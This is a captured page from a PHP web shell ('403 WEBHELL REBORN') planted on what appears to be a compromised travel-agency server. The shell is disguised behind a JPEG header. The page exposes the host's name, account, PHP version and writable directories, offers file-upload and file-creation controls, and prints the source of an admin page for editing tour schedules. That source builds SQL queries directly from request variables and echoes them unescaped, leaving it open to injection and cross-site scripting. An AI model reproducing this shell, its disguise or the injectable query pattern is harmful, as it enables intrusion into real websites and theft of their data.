ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/good/good_date_schedule_edit_iframe.html
<?
/**
 *
 * 일정표 수정
 *
 * 작성일 : 20130923.허종
 * 
 * 
**/
include "../include/top_iframe.html";
include "_common.php";

// 상품정보
$good_data = db_fetch("select * from good where g_uid='{$g_uid}' ");

// 일정표
$arr = toad_schedule($g_uid," and d_uid='{$d_uid}' and Sort='1' ");
$sch_data = $arr[0];


// 공통일정표
$comm_sch_data = toad_schedule(""," and Sort='2' and b_uid in('{$good_data['b_uid']}','','0') ");

// 기본일정표
$base_sch_data = toad_schedule($g_uid," and Sort='0' ");

// 출발일 정보
$arr = date_list($g_uid,"none"," and d_uid='{$d_uid}' ");
$dstart_data = $arr[0];

// 일정표 스킨
$skin_arr = array();
$arr = get_dirlist("../../schedule");
$j=0;
for ($i=0 ; $i<count($arr) ; $i++){
	if ( strstr($arr[$i],".html") ){ // 확장자가 .html만 사용
		$skin_arr[$j]['nm'] = $arr[$i];
		$skin_arr[$j]['pre_nm'] = str_replace(".html","",$arr[$i]);
		$j++;
	}
}

// 상품에 세팅된 지역코드 목록
$area_data = TO_get_air_city_array($good_data['Bidx']);

?>


<!-- ajax처리 레이어 -->
<div id="ajax_proc"></div>


<div class="iframe" style="padding-left:0px;margin-left:35px;">
<!-- 본문 -->

<table width="825" height="400" border="0" cellspacing="0" cellpadding="0">
	<tr>
		<td width="270" valign="top"><!-- 일정표불러오기 -->
			<div class="title">일정표불러오기</div>
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
			<tbody>
				<tr>
					<th width="70">공통일정표</th>
					<td class="top_line">
						<select name="" id="" style="width:160px" onchange="ajax_post('','good_date_proc.html?SqlType=date_recv&SiDX='+this.value,'','fn_create_date_ckeditor');">
							<option value="">==공통일정선택==</option>
							<?
								for( $i=0 ; $i<count($comm_sch_data) ; $i++){
									$comm_sch_arr = $comm_sch_data[$i];
							?>
								<option value="<?=$comm_sch_arr['SiDX']?>"><?=$comm_sch_arr['ScheduleTitle']?></option>
							<?}?>
						</select>
					</td>
				</tr>
				<tr>
					<th>기본일정표</th>
					<td class="top_line">
						<select name="" id="" style="width:160px" onchange="ajax_post('','good_date_proc.html?SqlType=date_recv&SiDX='+this.value,'','fn_create_date_ckeditor');">
							<option value="">==기본일정선택==</option>
							<?
								for( $i=0 ; $i<count($base_sch_data) ; $i++){
									$base_sch_arr = $base_sch_data[$i];
							?>
								<option value="<?=$base_sch_arr['SiDX']?>"><?=$base_sch_arr['ScheduleTitle']?></option>
							<?}?>
						</select>					</td>
				</tr>
				<tr>
					<th>일정표복사</th>
					<td class="top_line"><input type="button" name="" id="" value="다른상품에서일정표복사해오기" class="btn_green_left" onclick="to_dialog.ajax('good_date_sch_copy_ajax.html?g_uid=<?=$g_uid?>&d_uid=<?=$d_uid?>&layer_id=<?=$tmp_layer_id?>','일정표 복사','400','320',true,false);"><span class="btn_green_right"></span></td>
				</tr>
				<tr>
					<th height="72">&nbsp;</th>
					<td class="top_line">&nbsp;</td>
				</tr>
			</tbody>
			</table>
		</td>
		<td width="5">&nbsp;</td>

		<td width="270" height="130" valign="top"><!-- 일정표생성 -->
			<!-- 폼 -->
			<form name="frm_create_date" id="frm_create_date" method="post">
			<input type="hidden" name="SqlType" value="date_create">
			<div class="title">일정표생성</div>
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
			<tbody>
				<tr>
					<th width="70">일정표스킨</th>
					<td class="top_line">
						<select name="date_skin" id="date_skin" class="" style="width:150px;" hname="일정표스킨" required>
							<option value="">==스킨선택==</option>
							<?
								for($i=0 ; $i<count($skin_arr) ; $i++){
									$arr = $skin_arr[$i];
							?>
								<option value="<?=$arr['nm']?>"><?=$arr['pre_nm']?></option>
							<?}?>
						</select>					</td>
				</tr>
				<tr>
					<th width="70">생성일차</th>
					<td class="top_line">
						<select name="date_num" id="date_num" class="" style="width:150px;" hname="생성일차" required>
							<option value="">==일차선택==</option>
							<?for ($i=1 ; $i<=31 ; $i++){?>
							<option value="<?=$i?>"><?=$i?>일</option>
							<?}?>
						</select>					</td>
				</tr>
				<tr>
					<th>날짜표시</th>
					<td class="top_line">
						<input type="text" class="cal_input" name="date_start" id="date_start" value="<?=$dstart_data['d_start']?>" onclick="AjaxCal(this,event);" readonly style="width:80px;"> <input type="checkbox" name="chk_day" id="chk_day" value="Y" checked="true"><label for="disp_date">날짜표시</label>					</td>
				</tr>
				<tr>
					<td height="70" colspan="2" class="top_line" align="center" style="border-top:1px solid #e4e4e4;">
						<input type="button" name="" id="" value="일정생성" class="btn_orange_left" onclick="create_dateform();"><span class="btn_orange_right"></span>					</td>
				</tr>
			</tbody>
			</table>
			</form>
			<!-- /폼 -->		</td>
		<td width="5">&nbsp;</td>

		<td width="270" valign="top">
			<!--호텔/지역 정보 선택-->
			<div class="title">[<?=$good_data['NationName']?>] 호텔/지역 정보 선택</div>
      <div class="tab_wrap">
				<ul class="info_tab">
				<li class="on"><a href="javascript:;" onclick="tab(0)">호텔선택</a></li>
				<li><a href="javascript:;" onclick="tab(1)">지역정보선택</a></li>
				</ul>
				<p class="select">
					<select name="" id="hotel_area_sel" onchange="hotel_area_list('Bidx=<?=$good_data['Bidx']?>&Cidx='+this.value);">
						<option value="">=선택=</option>
						<?
							for($i=0 ; $i<count($area_data) ; $i++){
								$arr_area = $area_data[$i];
						?>
						<option value="<?=$arr_area['Cidx']?>" <?=($good_data['Cidx']==$arr_area['Cidx'])?"selected":""?>><?=$arr_area['CityName']?></option>
						<?}?>
					</select>
				</p>

			</div>
			<div class="result_list" id="result_list" style="margin-bottom:2px;height:100px;overflow-y:scroll;"></div>
		</td>
	</tr>
	<tr>
		<td colspan="5" rowspan="2" valign="top"><!-- 제목/에디터 -->
			<div class="title">일정표</div>
			<!-- 폼 -->
			<form name="frm_dateform" id="frm_dateform" method="post">
			<input type="hidden" name="SqlType" value="dateform_edit">
			<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>">
			<input type="hidden" name="g_uid" value="<?=$g_uid?>">
			<input type="hidden" name="d_uid" value="<?=$d_uid?>">
			<input type="hidden" name="SiDX" value="<?=$sch_data['SiDX']?>">
			<input type="hidden" name="Sort" value="<?=$sch_data['Sort']?>">
			<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
			<tbody>
				<tr>
					<th width="70">제목</th>
					<td class="top_line"><input type="text" name="ScheduleTitle" id="ScheduleTitle" value="<?=$sch_data['ScheduleTitle']?>" class="input_text" size="60" hname="제목" required> <input type="button" name="" value="일정표초기화" class="btn_gray_left" onclick="fn_create_date_ckeditor('','success');"><span class="btn_gray_right"></span></td>
					<th width="70">최종수정일시</th>
					<td class="top_line" style="width:100px;"><?=$sch_data['RegDate']?></td>
				</tr>
				<tr>
					<td class="top_line" colspan="4">
						<textarea name="ScheduleText" id="ScheduleText" class="ckeditor"><?=$sch_data['ScheduleText']?></textarea></td>
				</tr>
			</tbody>
			</table>
			</form>
			<!-- /폼 -->
		</td>
	</tr>
</table>
<ul class="btn_button">
	<li class="btn_sky"><a href="javascript:;" onclick="chk_form();">저장</a></li>
</ul>

<!-- /본문 -->
</div>

<script type="text/javascript">
// 호텔/지역정보 선택탭 no
var ht_tab_num=0;

function create_dateform()
{
	var f=document.frm_create_date;

	var result = to_validation(f);
	if ( result == false ) return false;

	if (!confirm('일정표를 생성하시겠습니까?'))  return false;

	// 결과를 함수(fn_create_date_ckeditor)로 받음.
	ajax_post("","good_date_proc.html","frm_create_date","fn_create_date_ckeditor");
}

//  공통일정표 or 기본일정표 or 생성일정표 or 복사일정표를 data로 받음
function fn_create_date_ckeditor(data,status)
{
	if ( status == "success" )
	{
		// 에디터 instance 생성
		var editor = eval('CKEDITOR.instances.ScheduleText');

		// 에디터로 data세팅
		editor.setData(data);

	}else return;
}


function tab(num)
{
	if (num==0)
	{
		mode = "hotel";
	}else{
		mode = "area";
	}

	$(".tab_wrap").click(function(){
		$(this).find("li").each(function(index){
				if (num==index){
					$(this).addClass("on");
				}else{
					$(this).removeClass();
				}
		});
	});

	// 초기화
	ajax_loader('good_area_info_ajax.html?mode='+mode+'&Bidx=<?=$good_data['Bidx']?>&Cidx=<?=$good_data['Cidx']?>','result_list');
	$("#area_hotel").val("<?=$good_data['Cidx']?>");
	$("#area_area").val("<?=$good_data['Cidx']?>");
}

function hotel_area_list(params)
{
	var url = "";
	var mode = "hotel";

	if (ht_tab_num==1) mode = "area";

	url = "good_area_info_ajax.html?"+params+"&mode="+mode;

	ajax_loader(url,'result_list');
}

function chk_form()
{
	var f = document.frm_dateform;

	var result = to_validation(f);
	if ( result == false ) return false;

	if (!confirm('저장하시겠습니까?')) return;

	//ajax_post("ajax_proc","good_date_proc.html","frm_dateform");
	f.action="good_date_proc.html?<?=$_shref?>";
	f.submit();
}


window.onload=function(){
	ajax_loader('good_area_info_ajax.html?mode=hotel&Bidx=<?=$good_data['Bidx']?>&Cidx=<?=$good_data['Cidx']?>','result_list');
}
</script>

<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021